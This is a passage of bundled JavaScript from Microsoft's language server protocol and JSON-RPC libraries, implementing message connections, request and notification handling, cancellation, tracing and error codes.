let CallHierarchyOutgoingCallsRequest;
(function (CallHierarchyOutgoingCallsRequest) {
CallHierarchyOutgoingCallsRequest.method = callHierarchy.CallHierarchyOutgoingCallsRequest.method;
CallHierarchyOutgoingCallsRequest.type = callHierarchy.CallHierarchyOutgoingCallsRequest.type;
})(CallHierarchyOutgoingCallsRequest = Proposed.CallHierarchyOutgoingCallsRequest || (Proposed.CallHierarchyOutgoingCallsRequest = {}));
Proposed.SemanticTokenTypes = st.SemanticTokenTypes;
Proposed.SemanticTokenModifiers = st.SemanticTokenModifiers;
Proposed.SemanticTokens = st.SemanticTokens;
let SemanticTokensRequest;
(function (SemanticTokensRequest) {
SemanticTokensRequest.method = st.SemanticTokensRequest.method;
SemanticTokensRequest.type = st.SemanticTokensRequest.type;
})(SemanticTokensRequest = Proposed.SemanticTokensRequest || (Proposed.SemanticTokensRequest = {}));
let SemanticTokensEditsRequest;
(function (SemanticTokensEditsRequest) {
SemanticTokensEditsRequest.method = st.SemanticTokensEditsRequest.method;
SemanticTokensEditsRequest.type = st.SemanticTokensEditsRequest.type;
})(SemanticTokensEditsRequest = Proposed.SemanticTokensEditsRequest || (Proposed.SemanticTokensEditsRequest = {}));
let SemanticTokensRangeRequest;
(function (SemanticTokensRangeRequest) {
SemanticTokensRangeRequest.method = st.SemanticTokensRangeRequest.method;
SemanticTokensRangeRequest.type = st.SemanticTokensRangeRequest.type;
})(SemanticTokensRangeRequest = Proposed.SemanticTokensRangeRequest || (Proposed.SemanticTokensRangeRequest = {}));
})(Proposed = exports.Proposed || (exports.Proposed = {}));
function createProtocolConnection(reader, writer, logger, strategy) {
return vscode_jsonrpc_1.createMessageConnection(reader, writer, logger, strategy);
}
exports.createProtocolConnection = createProtocolConnection;
/***/ }),
/* 4 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
/// <reference path="../typings/thenable.d.ts" />
function __export(m) {
for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p];
}
Object.defineProperty(exports, "__esModule", ({ value: true }));
const Is = __webpack_require__(5);
const messages_1 = __webpack_require__(6);
exports.RequestType = messages_1.RequestType;
exports.RequestType0 = messages_1.RequestType0;
exports.RequestType1 = messages_1.RequestType1;
exports.RequestType2 = messages_1.RequestType2;
exports.RequestType3 = messages_1.RequestType3;
exports.RequestType4 = messages_1.RequestType4;
exports.RequestType5 = messages_1.RequestType5;
exports.RequestType6 = messages_1.RequestType6;
exports.RequestType7 = messages_1.RequestType7;
exports.RequestType8 = messages_1.RequestType8;
exports.RequestType9 = messages_1.RequestType9;
exports.ResponseError = messages_1.ResponseError;
exports.ErrorCodes = messages_1.ErrorCodes;
exports.NotificationType = messages_1.NotificationType;
exports.NotificationType0 = messages_1.NotificationType0;
exports.NotificationType1 = messages_1.NotificationType1;
exports.NotificationType2 = messages_1.NotificationType2;
exports.NotificationType3 = messages_1.NotificationType3;
exports.NotificationType4 = messages_1.NotificationType4;
exports.NotificationType5 = messages_1.NotificationType5;
exports.NotificationType6 = messages_1.NotificationType6;
exports.NotificationType7 = messages_1.NotificationType7;
exports.NotificationType8 = messages_1.NotificationType8;
exports.NotificationType9 = messages_1.NotificationType9;
const messageReader_1 = __webpack_require__(7);
exports.MessageReader = messageReader_1.MessageReader;
exports.StreamMessageReader = messageReader_1.StreamMessageReader;
exports.IPCMessageReader = messageReader_1.IPCMessageReader;
exports.SocketMessageReader = messageReader_1.SocketMessageReader;
const messageWriter_1 = __webpack_require__(9);
exports.MessageWriter = messageWriter_1.MessageWriter;
exports.StreamMessageWriter = messageWriter_1.StreamMessageWriter;
exports.IPCMessageWriter = messageWriter_1.IPCMessageWriter;
exports.SocketMessageWriter = messageWriter_1.SocketMessageWriter;
const events_1 = __webpack_require__(8);
exports.Disposable = events_1.Disposable;
exports.Event = events_1.Event;
exports.Emitter = events_1.Emitter;
const cancellation_1 = __webpack_require__(10);
exports.CancellationTokenSource = cancellation_1.CancellationTokenSource;
exports.CancellationToken = cancellation_1.CancellationToken;
const linkedMap_1 = __webpack_require__(11);
__export(__webpack_require__(12));
__export(__webpack_require__(17));
var CancelNotification;
(function (CancelNotification) {
CancelNotification.type = new messages_1.NotificationType('$/cancelRequest');
})(CancelNotification || (CancelNotification = {}));
var ProgressNotification;
(function (ProgressNotification) {
ProgressNotification.type = new messages_1.NotificationType('$/progress');
})(ProgressNotification || (ProgressNotification = {}));
class ProgressType {
constructor() {
}
}
exports.ProgressType = ProgressType;
exports.NullLogger = Object.freeze({
error: () => { },
warn: () => { },
info: () => { },
log: () => { }
});
var Trace;
(function (Trace) {
Trace[Trace["Off"] = 0] = "Off";
Trace[Trace["Messages"] = 1] = "Messages";
Trace[Trace["Verbose"] = 2] = "Verbose";
})(Trace = exports.Trace || (exports.Trace = {}));
(function (Trace) {
function fromString(value) {
if (!Is.string(value)) {
return Trace.Off;
}
value = value.toLowerCase();
switch (value) {
case 'off':
return Trace.Off;
case 'messages':
return Trace.Messages;
case 'verbose':
return Trace.Verbose;
default:
return Trace.Off;
}
}
Trace.fromString = fromString;
function toString(value) {
switch (value) {
case Trace.Off:
return 'off';
case Trace.Messages:
return 'messages';
case Trace.Verbose:
return 'verbose';
default:
return 'off';
}
}
Trace.toString = toString;
})(Trace = exports.Trace || (exports.Trace = {}));
var TraceFormat;
(function (TraceFormat) {
TraceFormat["Text"] = "text";
TraceFormat["JSON"] = "json";
})(TraceFormat = exports.TraceFormat || (exports.TraceFormat = {}));
(function (TraceFormat) {
function fromString(value) {
value = value.toLowerCase();
if (value === 'json') {
return TraceFormat.JSON;
}
else {
return TraceFormat.Text;
}
}
TraceFormat.fromString = fromString;
})(TraceFormat = exports.TraceFormat || (exports.TraceFormat = {}));
var SetTraceNotification;
(function (SetTraceNotification) {
SetTraceNotification.type = new messages_1.NotificationType('$/setTraceNotification');
})(SetTraceNotification = exports.SetTraceNotification || (exports.SetTraceNotification = {}));
var LogTraceNotification;
(function (LogTraceNotification) {
LogTraceNotification.type = new messages_1.NotificationType('$/logTraceNotification');
})(LogTraceNotification = exports.LogTraceNotification || (exports.LogTraceNotification = {}));
var ConnectionErrors;
(function (ConnectionErrors) {
/**
* The connection is closed.
*/
ConnectionErrors[ConnectionErrors["Closed"] = 1] = "Closed";
/**
* The connection got disposed.
*/
ConnectionErrors[ConnectionErrors["Disposed"] = 2] = "Disposed";
/**
* The connection is already in listening mode.
*/
ConnectionErrors[ConnectionErrors["AlreadyListening"] = 3] = "AlreadyListening";
})(ConnectionErrors = exports.ConnectionErrors || (exports.ConnectionErrors = {}));
class ConnectionError extends Error {
constructor(code, message) {
super(message);
this.code = code;
Object.setPrototypeOf(this, ConnectionError.prototype);
}
}
exports.ConnectionError = ConnectionError;
var ConnectionStrategy;
(function (ConnectionStrategy) {
function is(value) {
let candidate = value;
return candidate && Is.func(candidate.cancelUndispatched);
}
ConnectionStrategy.is = is;
})(ConnectionStrategy = exports.ConnectionStrategy || (exports.ConnectionStrategy = {}));
var ConnectionState;
(function (ConnectionState) {
ConnectionState[ConnectionState["New"] = 1] = "New";
ConnectionState[ConnectionState["Listening"] = 2] = "Listening";
ConnectionState[ConnectionState["Closed"] = 3] = "Closed";
ConnectionState[ConnectionState["Disposed"] = 4] = "Disposed";
})(ConnectionState || (ConnectionState = {}));
function _createMessageConnection(messageReader, messageWriter, logger, strategy) {
let sequenceNumber = 0;
let notificationSquenceNumber = 0;
let unknownResponseSquenceNumber = 0;
const version = '2.0';
let starRequestHandler = undefined;
let requestHandlers = Object.create(null);
let starNotificationHandler = undefined;
let notificationHandlers = Object.create(null);
let progressHandlers = new Map();
let timer;
let messageQueue = new linkedMap_1.LinkedMap();
let responsePromises = Object.create(null);
let requestTokens = Object.create(null);
let trace = Trace.Off;
let traceFormat = TraceFormat.Text;
let tracer;
let state = ConnectionState.New;
let errorEmitter = new events_1.Emitter();
let closeEmitter = new events_1.Emitter();
let unhandledNotificationEmitter = new events_1.Emitter();
let unhandledProgressEmitter = new events_1.Emitter();
let disposeEmitter = new events_1.Emitter();
function createRequestQueueKey(id) {
return 'req-' + id.toString();
}
function createResponseQueueKey(id) {
if (id === null) {
return 'res-unknown-' + (++unknownResponseSquenceNumber).toString();
}
else {
return 'res-' + id.toString();
}
}
function createNotificationQueueKey() {
return 'not-' + (++notificationSquenceNumber).toString();
}
function addMessageToQueue(queue, message) {
if (messages_1.isRequestMessage(message)) {
queue.set(createRequestQueueKey(message.id), message);
}
else if (messages_1.isResponseMessage(message)) {
queue.set(createResponseQueueKey(message.id), message);
}
else {
queue.set(createNotificationQueueKey(), message);
}
}
function cancelUndispatched(_message) {
return undefined;
}
function isListening() {
return state === ConnectionState.Listening;
}
function isClosed() {
return state === ConnectionState.Closed;
}
function isDisposed() {
return state === ConnectionState.Disposed;
}
function closeHandler() {
if (state === ConnectionState.New || state === ConnectionState.Listening) {
state = ConnectionState.Closed;
closeEmitter.fire(undefined);
}
// If the connection is disposed don't sent close events.
}
function readErrorHandler(error) {
errorEmitter.fire([error, undefined, undefined]);
}
function writeErrorHandler(data) {
errorEmitter.fire(data);
}
messageReader.onClose(closeHandler);
messageReader.onError(readErrorHandler);
messageWriter.onClose(closeHandler);
messageWriter.onError(writeErrorHandler);
function triggerMessageQueue() {
if (timer || messageQueue.size === 0) {
return;
}
timer = setImmediate(() => {
timer = undefined;
processMessageQueue();
});
}
function processMessageQueue() {
if (messageQueue.size === 0) {
return;
}
let message = messageQueue.shift();
try {
if (messages_1.isRequestMessage(message)) {
handleRequest(message);
}
else if (messages_1.isNotificationMessage(message)) {
handleNotification(message);
}
else if (messages_1.isResponseMessage(message)) {
handleResponse(message);
}
else {
handleInvalidMessage(message);
}
}
finally {
triggerMessageQueue();
}
}
let callback = (message) => {
try {
// We have received a cancellation message. Check if the message is still in the queue
// and cancel it if allowed to do so.
if (messages_1.isNotificationMessage(message) && message.method === CancelNotification.type.method) {
let key = createRequestQueueKey(message.params.id);
let toCancel = messageQueue.get(key);
if (messages_1.isRequestMessage(toCancel)) {
let response = strategy && strategy.cancelUndispatched ? strategy.cancelUndispatched(toCancel, cancelUndispatched) : cancelUndispatched(toCancel);
if (response && (response.error !== void 0 || response.result !== void 0)) {
messageQueue.delete(key);
response.id = toCancel.id;
traceSendingResponse(response, message.method, Date.now());
messageWriter.write(response);
return;
}
}
}
addMessageToQueue(messageQueue, message);
}
finally {
triggerMessageQueue();
}
};
function handleRequest(requestMessage) {
if (isDisposed()) {
// we return here silently since we fired an event when the
// connection got disposed.
return;
}
function reply(resultOrError, method, startTime) {
let message = {
jsonrpc: version,
id: requestMessage.id
};
if (resultOrError instanceof messages_1.ResponseError) {
message.error = resultOrError.toJson();
}
else {
message.result = resultOrError === void 0 ? null : resultOrError;
}
traceSendingResponse(message, method, startTime);
messageWriter.write(message);
}
function replyError(error, method, startTime) {
let message = {
jsonrpc: version,
id: requestMessage.id,
error: error.toJson()
};
traceSendingResponse(message, method, startTime);
messageWriter.write(message);
}
function replySuccess(result, method, startTime) {
// The JSON RPC defines that a response must either have a result or an error
// So we can't treat undefined as a valid response result.
if (result === void 0) {
result = null;
}
let message = {
jsonrpc: version,
id: requestMessage.id,
result: result
};
traceSendingResponse(message, method, startTime);
messageWriter.write(message);
}
traceReceivedRequest(requestMessage);
let element = requestHandlers[requestMessage.method];
let type;
let requestHandler;
if (element) {
type = element.type;
requestHandler = element.handler;
}
let startTime = Date.now();
if (requestHandler || starRequestHandler) {
let cancellationSource = new cancellation_1.CancellationTokenSource();
let tokenKey = String(requestMessage.id);
requestTokens[tokenKey] = cancellationSource;
try {
let handlerResult;
if (requestMessage.params === void 0 || (type !== void 0 && type.numberOfParams === 0)) {
handlerResult = requestHandler
? requestHandler(cancellationSource.token)
: starRequestHandler(requestMessage.method, cancellationSource.token);
}
else if (Is.array(requestMessage.params) && (type === void 0 || type.numberOfParams > 1)) {
handlerResult = requestHandler
? requestHandler(...requestMessage.params, cancellationSource.token)
: starRequestHandler(requestMessage.method, ...requestMessage.params, cancellationSource.token);
}
else {
handlerResult = requestHandler
? requestHandler(requestMessage.params, cancellationSource.token)
: starRequestHandler(requestMessage.method, requestMessage.params, cancellationSource.token);
}
let promise = handlerResult;
if (!handlerResult) {
delete requestTokens[tokenKey];
replySuccess(handlerResult, requestMessage.method, startTime);
}
else if (promise.then) {
promise.then((resultOrError) => {
delete requestTokens[tokenKey];
reply(resultOrError, requestMessage.method, startTime);
}, error => {
delete requestTokens[tokenKey];
if (error instanceof messages_1.ResponseError) {
replyError(error, requestMessage.method, startTime);
}
else if (error && Is.string(error.message)) {
replyError(new messages_1.ResponseError(messages_1.ErrorCodes.InternalError, `Request ${requestMessage.method} failed with message: ${error.message}`), requestMessage.method, startTime);
}
else {
replyError(new messages_1.ResponseError(messages_1.ErrorCodes.InternalError, `Request ${requestMessage.method} failed unexpectedly without providing any details.`), requestMessage.method, startTime);
}
});
}
else {
delete requestTokens[tokenKey];
reply(handlerResult, requestMessage.method, startTime);
}
}
catch (error) {
delete requestTokens[tokenKey];
if (error instanceof messages_1.ResponseError) {
reply(error, requestMessage.method, startTime);
}
else if (error && Is.string(error.message)) {
replyError(new messages_1.ResponseError(messages_1.ErrorCodes.InternalError, `Request ${requestMessage.method} failed with message: ${error.message}`), requestMessage.method, startTime);
}
else {
replyError(new messages_1.ResponseError(messages_1.ErrorCodes.InternalError, `Request ${requestMessage.method} failed unexpectedly without providing any details.`), requestMessage.method, startTime);
}
}
}
else {
replyError(new messages_1.ResponseError(messages_1.ErrorCodes.MethodNotFound, `Unhandled method ${requestMessage.method}`), requestMessage.method, startTime);
}
}
function handleResponse(responseMessage) {
if (isDisposed()) {
// See handle request.
return;
}
if (responseMessage.id === null) {
if (responseMessage.error) {
logger.error(`Received response message without id: Error is: \n${JSON.stringify(responseMessage.error, undefined, 4)}`);
}
else {
logger.error(`Received response message without id. No further error information provided.`);
}
}
else {
let key = String(responseMessage.id);
let responsePromise = responsePromises[key];
traceReceivedResponse(responseMessage, responsePromise);
if (responsePromise) {
delete responsePromises[key];
try {
if (responseMessage.error) {
let error = responseMessage.error;
responsePromise.reject(new messages_1.ResponseError(error.code, error.message, error.data));
}
else if (responseMessage.result !== void 0) {
responsePromise.resolve(responseMessage.result);
}
else {
throw new Error('Should never happen.');
}
}
catch (error) {
if (error.message) {
logger.error(`Response handler '${responsePromise.method}' failed with message: ${error.message}`);
}
else {
logger.error(`Response handler '${responsePromise.method}' failed unexpectedly.`);
}
}
}
}
}
function handleNotification(message) {
if (isDisposed()) {
// See handle request.
return;
}
let type = undefined;
let notificationHandler;
if (message.method === CancelNotification.type.method) {
notificationHandler = (params) => {
let id = params.id;
let source = requestTokens[String(id)];
if (source) {
source.cancel();
}
};
}
else {
let element = notificationHandlers[message.method];
if (element) {
notificationHandler = element.handler;
type = element.type;
}
}
if (notificationHandler || starNotificationHandler) {
try {
traceReceivedNotification(message);
if (message.params === void 0 || (type !== void 0 && type.numberOfParams === 0)) {
notificationHandler ? notificationHandler() : starNotificationHandler(message.method);
}
else if (Is.array(message.params) && (type === void 0 || type.numberOfParams > 1)) {
notificationHandler ? notificationHandler(...message.params) : starNotificationHandler(message.method, ...message.params);
}
else {
notificationHandler ? notificationHandler(message.params) : starNotificationHandler(message.method, message.params);
}
}
catch (error) {
if (error.message) {
logger.error(`Notification handler '${message.method}' failed with message: ${error.message}`);
}
else {
logger.error(`Notification handler '${message.method}' failed unexpectedly.`);
}
}
}
else {
unhandledNotificationEmitter.fire(message);
}
}
function handleInvalidMessage(message) {
if (!message) {
logger.error('Received empty message.');
return;
}
logger.error(`Received message which is neither a response nor a notification message:\n${JSON.stringify(message, null, 4)}`);
// Test whether we find an id to reject the promise
let responseMessage = message;
if (Is.string(responseMessage.id) || Is.number(responseMessage.id)) {
let key = String(responseMessage.id);
let responseHandler = responsePromises[key];
if (responseHandler) {
responseHandler.reject(new Error('The received response has neither a result nor an error property.'));
}
}
}
function traceSendingRequest(message) {
if (trace === Trace.Off || !tracer) {
return;
}
if (traceFormat === TraceFormat.Text) {
let data = undefined;
if (trace === Trace.Verbose && message.params) {
data = `Params: ${JSON.stringify(message.params, null, 4)}\n\n`;
}
tracer.log(`Sending request '${message.method} - (${message.id})'.`, data);
}
else {
logLSPMessage('send-request', message);
}
}
function traceSendingNotification(message) {
if (trace === Trace.Off || !tracer) {
return;
}
if (traceFormat === TraceFormat.Text) {
let data = undefined;
if (trace === Trace.Verbose) {
if (message.params) {
data = `Params: ${JSON.stringify(message.params, null, 4)}\n\n`;
}
else {
data = 'No parameters provided.\n\n';
}
}
tracer.log(`Sending notification '${message.method}'.`, data);
}
else {
logLSPMessage('send-notification', message);
}
}
function traceSendingResponse(message, method, startTime) {
if (trace === Trace.Off || !tracer) {
return;
}
if (traceFormat === TraceFormat.Text) {
let data = undefined;
if (trace === Trace.Verbose) {
if (message.error && message.error.data) {
data = `Error data: ${JSON.stringify(message.error.data, null, 4)}\n\n`;
}
else {
if (message.result) {
data = `Result: ${JSON.stringify(message.result, null, 4)}\n\n`;
}
else if (message.error === void 0) {
data = 'No result returned.\n\n';
}
}
}
tracer.log(`Sending response '${method} - (${message.id})'. Processing request took ${Date.now() - startTime}ms`, data);
}
else {
logLSPMessage('send-response', message);
}
}
function traceReceivedRequest(message) {
if (trace === Trace.Off || !tracer) {
return;
}
if (traceFormat === TraceFormat.Text) {
let data = undefined;
if (trace === Trace.Verbose && message.params) {
data = `Params: ${JSON.stringify(message.params, null, 4)}\n\n`;
}
tracer.log(`Received request '${message.method} - (${message.id})'.`, data);
}
else {
logLSPMessage('receive-request', message);
}
}
function traceReceivedNotification(message) {
if (trace === Trace.Off || !tracer || message.method === LogTraceNotification.type.method) {
return;
}
if (traceFormat === TraceFormat.Text) {
let data = undefined;
if (trace === Trace.Verbose) {
if (message.params) {
data = `Params: ${JSON.stringify(message.params, null, 4)}\n\n`;
}
else {
data = 'No parameters provided.\n\n';
}
}
tracer.log(`Received notification '${message.method}'.`, data);
}
else {
logLSPMessage('receive-notification', message);
}
}
function traceReceivedResponse(message, responsePromise) {
if (trace === Trace.Off || !tracer) {
return;
}
if (traceFormat === TraceFormat.Text) {
let data = undefined;
if (trace === Trace.Verbose) {
if (message.error && message.error.data) {
data = `Error data: ${JSON.stringify(message.error.data, null, 4)}\n\n`;
}
else {
if (message.result) {
data = `Result: ${JSON.stringify(message.result, null, 4)}\n\n`;
}
else if (message.error === void 0) {
data = 'No result returned.\n\n';
}
}
}
if (responsePromise) {
let error = message.error ? ` Request failed: ${message.error.message} (${message.error.code}).` : '';
tracer.log(`Received response '${responsePromise.method} - (${message.id})' in ${Date.now() - responsePromise.timerStart}ms.${error}`, data);
}
else {
tracer.log(`Received response ${message.id} without active response promise.`, data);
}
}
else {
logLSPMessage('receive-response', message);
}
}
function logLSPMessage(type, message) {
if (!tracer || trace === Trace.Off) {
return;
}
const lspMessage = {
isLSPMessage: true,
type,
message,
timestamp: Date.now()
};
tracer.log(lspMessage);
}
function throwIfClosedOrDisposed() {
if (isClosed()) {
throw new ConnectionError(ConnectionErrors.Closed, 'Connection is closed.');
}
if (isDisposed()) {
throw new ConnectionError(ConnectionErrors.Disposed, 'Connection is disposed.');
}
}
function throwIfListening() {
if (isListening()) {
throw new ConnectionError(ConnectionErrors.AlreadyListening, 'Connection is already listening');
}
}
function throwIfNotListening() {
if (!isListening()) {
throw new Error('Call listen() first.');
}
}
function undefinedToNull(param) {
if (param === void 0) {
return null;
}
else {
return param;
}
}
function computeMessageParams(type, params) {
let result;
let numberOfParams = type.numberOfParams;
switch (numberOfParams) {
case 0:
result = null;
break;
case 1:
result = undefinedToNull(params[0]);
break;
default:
result = [];
for (let i = 0; i < params.length && i < numberOfParams; i++) {
result.push(undefinedToNull(params[i]));
}
if (params.length < numberOfParams) {
for (let i = params.length; i < numberOfParams; i++) {
result.push(null);
}
}
break;
}
return result;
}
let connection = {
sendNotification: (type, ...params) => {
throwIfClosedOrDisposed();
let method;
let messageParams;
if (Is.string(type)) {
method = type;
switch (params.length) {
case 0:
messageParams = null;
break;
case 1:
messageParams = params[0];
break;
default:
messageParams = params;
break;
}
}
else {
method = type.method;
messageParams = computeMessageParams(type, params);
}
let notificationMessage = {
jsonrpc: version,
method: method,
params: messageParams
};
traceSendingNotification(notificationMessage);
messageWriter.write(notificationMessage);
},
onNotification: (type, handler) => {
throwIfClosedOrDisposed();
if (Is.func(type)) {
starNotificationHandler = type;
}
else if (handler) {
if (Is.string(type)) {
notificationHandlers[type] = { type: undefined, handler };
}
else {
notificationHandlers[type.method] = { type, handler };
}
}
},
onProgress: (_type, token, handler) => {
if (progressHandlers.has(token)) {
throw new Error(`Progress handler for token ${token} already registered`);
}
progressHandlers.set(token, handler);
return {
dispose: () => {
progressHandlers.delete(token);
}
};
},
sendProgress: (_type, token, value) => {
connection.sendNotification(ProgressNotification.type, { token, value });
},
onUnhandledProgress: unhandledProgressEmitter.event,
sendRequest: (type, ...params) => {
throwIfClosedOrDisposed();
throwIfNotListening();
let method;
let messageParams;
let token = undefined;
if (Is.string(type)) {
method = type;
switch (params.length) {
case 0:
messageParams = null;
break;
case 1:
// The cancellation token is optional so it can also be undefined.
if (cancellation_1.CancellationToken.is(params[0])) {
messageParams = null;
token = params[0];
}
else {
messageParams = undefinedToNull(params[0]);
}
break;
default:
const last = params.length - 1;
if (cancellation_1.CancellationToken.is(params[last])) {
token = params[last];
if (params.length === 2) {
messageParams = undefinedToNull(params[0]);
}
else {
messageParams = params.slice(0, last).map(value => undefinedToNull(value));
}
}
else {
messageParams = params.map(value => undefinedToNull(value));
}
break;
}
}
else {
method = type.method;
messageParams = computeMessageParams(type, params);
let numberOfParams = type.numberOfParams;
token = cancellation_1.CancellationToken.is(params[numberOfParams]) ? params[numberOfParams] : undefined;
}
let id = sequenceNumber++;
let result = new Promise((resolve, reject) => {
let requestMessage = {
jsonrpc: version,
id: id,
method: method,
params: messageParams
};
let responsePromise = { method: method, timerStart: Date.now(), resolve, reject };
traceSendingRequest(requestMessage);
try {
messageWriter.write(requestMessage);
}
catch (e) {
// Writing the message failed. So we need to reject the promise.
responsePromise.reject(new messages_1.ResponseError(messages_1.ErrorCodes.MessageWriteError, e.message ? e.message : 'Unknown reason'));
responsePromise = null;
}
if (responsePromise) {
responsePromises[String(id)] = responsePromise;
}
});
if (token) {
token.onCancellationRequested(() => {
connection.sendNotification(CancelNotification.type, { id });
});
}
return result;
},
onRequest: (type, handler) => {
throwIfClosedOrDisposed();
if (Is.func(type)) {
starRequestHandler = type;
}
else if (handler) {
if (Is.string(type)) {
requestHandlers[type] = { type: undefined, handler };
}
else {
requestHandlers[type.method] = { type, handler };
}
}
},
trace: (_value, _tracer, sendNotificationOrTraceOptions) => {
let _sendNotification = false;
let _traceFormat = TraceFormat.Text;
if (sendNotificationOrTraceOptions !== void 0) {
if (Is.boolean(sendNotificationOrTraceOptions)) {
_sendNotification = sendNotificationOrTraceOptions;
}
else {
_sendNotification = sendNotificationOrTraceOptions.sendNotification || false;
_traceFormat = sendNotificationOrTraceOptions.traceFormat || TraceFormat.Text;
}
}
trace = _value;
traceFormat = _traceFormat;
if (trace === Trace.Off) {
tracer = undefined;
}
else {
tracer = _tracer;
}
if (_sendNotification && !isClosed() && !isDisposed()) {
connection.sendNotification(SetTraceNotification.type, { value: Trace.toString(_value) });
}
},
onError: errorEmitter.event,
onClose: closeEmitter.event,
onUnhandledNotification: unhandledNotificationEmitter.event,
onDispose: disposeEmitter.event,
dispose: () => {
if (isDisposed()) {
return;
}
state = ConnectionState.Disposed;
disposeEmitter.fire(undefined);
let error = new Error('Connection got disposed.');
Object.keys(responsePromises).forEach((key) => {
responsePromises[key].reject(error);
});
responsePromises = Object.create(null);
requestTokens = Object.create(null);
messageQueue = new linkedMap_1.LinkedMap();
// Test for backwards compatibility
if (Is.func(messageWriter.dispose)) {
messageWriter.dispose();
}
if (Is.func(messageReader.dispose)) {
messageReader.dispose();
}
},
listen: () => {
throwIfClosedOrDisposed();
throwIfListening();
state = ConnectionState.Listening;
messageReader.listen(callback);
},
inspect: () => {
// eslint-disable-next-line no-console
console.log('inspect');
}
};
connection.onNotification(LogTraceNotification.type, (params) => {
if (trace === Trace.Off || !tracer) {
return;
}
tracer.log(params.message, trace === Trace.Verbose ? params.verbose : undefined);
});
connection.onNotification(ProgressNotification.type, (params) => {
const handler = progressHandlers.get(params.token);
if (handler) {
handler(params.value);
}
else {
unhandledProgressEmitter.fire(params);
}
});
return connection;
}
function isMessageReader(value) {
return value.listen !== void 0 && value.read === void 0;
}
function isMessageWriter(value) {
return value.write !== void 0 && value.end === void 0;
}
function createMessageConnection(input, output, logger, strategy) {
if (!logger) {
logger = exports.NullLogger;
}
let reader = isMessageReader(input) ? input : new messageReader_1.StreamMessageReader(input);
let writer = isMessageWriter(output) ? output : new messageWriter_1.StreamMessageWriter(output);
return _createMessageConnection(reader, writer, logger, strategy);
}
exports.createMessageConnection = createMessageConnection;
/***/ }),
/* 5 */
/***/ ((__unused_webpack_module, exports) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
function boolean(value) {
return value === true || value === false;
}
exports.boolean = boolean;
function string(value) {
return typeof value === 'string' || value instanceof String;
}
exports.string = string;
function number(value) {
return typeof value === 'number' || value instanceof Number;
}
exports.number = number;
function error(value) {
return value instanceof Error;
}
exports.error = error;
function func(value) {
return typeof value === 'function';
}
exports.func = func;
function array(value) {
return Array.isArray(value);
}
exports.array = array;
function stringArray(value) {
return array(value) && value.every(elem => string(elem));
}
exports.stringArray = stringArray;
/***/ }),
/* 6 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
const is = __webpack_require__(5);
/**
* Predefined error codes.
*/
var ErrorCodes;
(function (ErrorCodes) {
// Defined by JSON RPC
ErrorCodes.ParseError = -32700;
ErrorCodes.InvalidRequest = -32600;
ErrorCodes.MethodNotFound = -32601;
ErrorCodes.InvalidParams = -32602;
ErrorCodes.InternalError = -32603;
ErrorCodes.serverErrorStart = -32099;
ErrorCodes.serverErrorEnd = -32000;
ErrorCodes.ServerNotInitialized = -32002;
ErrorCodes.UnknownErrorCode = -32001;
// Defined by the protocol.
ErrorCodes.RequestCancelled = -32800;
ErrorCodes.ContentModified = -32801;
// Defined by VSCode library.
ErrorCodes.MessageWriteError = 1;
ErrorCodes.MessageReadError = 2;
})(ErrorCodes = exports.ErrorCodes || (exports.ErrorCodes = {}));
/**
* An error object return in a response in case a request
* has failed.
*/
class ResponseError extends Error {
constructor(code, message, data) {
super(message);
this.code = is.number(code) ? code : ErrorCodes.UnknownErrorCode;
this.data = data;
Object.setPrototypeOf(this, ResponseError.prototype);
}
toJson() {
return {
code: this.code,
message: this.message,
data: this.data,
};
}
}
exports.ResponseError = ResponseError;
/**
* An abstract implementation of a MessageType.
*/
class AbstractMessageType {
constructor(_method, _numberOfParams) {
this._method = _method;
this._numberOfParams = _numberOfParams;
}
get method() {
return this._method;
}
get numberOfParams() {
return this._numberOfParams;
}
}
exports.AbstractMessageType = AbstractMessageType;
/**
* Classes to type request response pairs
*
* The type parameter RO will be removed in the next major version
* of the JSON RPC library since it is a LSP concept and doesn't
* belong here. For now it is tagged as default never.
*/
class RequestType0 extends AbstractMessageType {
constructor(method) {
super(method, 0);
}
}
exports.RequestType0 = RequestType0;
class RequestType extends AbstractMessageType {
constructor(method) {
super(method, 1);
}
}
exports.RequestType = RequestType;
class RequestType1 extends AbstractMessageType {
constructor(method) {
super(method, 1);
}
}
exports.RequestType1 = RequestType1;
class RequestType2 extends AbstractMessageType {
constructor(method) {
super(method, 2);
}
}
exports.RequestType2 = RequestType2;
class RequestType3 extends AbstractMessageType {
constructor(method) {
super(method, 3);
}
}
exports.RequestType3 = RequestType3;
class RequestType4 extends AbstractMessageType {
constructor(method) {
super(method, 4);
}
}
exports.RequestType4 = RequestType4;
class RequestType5 extends AbstractMessageType {
constructor(method) {
super(method, 5);
}
}
exports.RequestType5 = RequestType5;
class RequestType6 extends AbstractMessageType {
constructor(method) {
super(method, 6);
}
}
exports.RequestType6 = RequestType6;
class RequestType7 extends AbstractMessageType {
constructor(method) {
super(method, 7);
}
}
exports.RequestType7 = RequestType7;
class RequestType8 extends AbstractMessageType {
constructor(method) {
super(method, 8);
}
}
exports.RequestType8 = RequestType8;
class RequestType9 extends AbstractMessageType {
constructor(method) {
super(method, 9);
}
}
exports.RequestType9 = RequestType9;
/**
* The type parameter RO will be removed in the next major version
* of the JSON RPC library since it is a LSP concept and doesn't
* belong here. For now it is tagged as default never.
*/
class NotificationType extends AbstractMessageType {
constructor(method) {
super(method, 1);
this._ = undefined;
}
}
exports.NotificationType = NotificationType;
class NotificationType0 extends AbstractMessageType {
constructor(method) {
super(method, 0);
}
}
exports.NotificationType0 = NotificationType0;
class NotificationType1 extends AbstractMessageType {
constructor(method) {
super(method, 1);
}
}
exports.NotificationType1 = NotificationType1;
class NotificationType2 extends AbstractMessageType {
constructor(method) {
super(method, 2);
}
}
exports.NotificationType2 = NotificationType2;
class NotificationType3 extends AbstractMessageType {
constructor(method) {
super(method, 3);
}
}
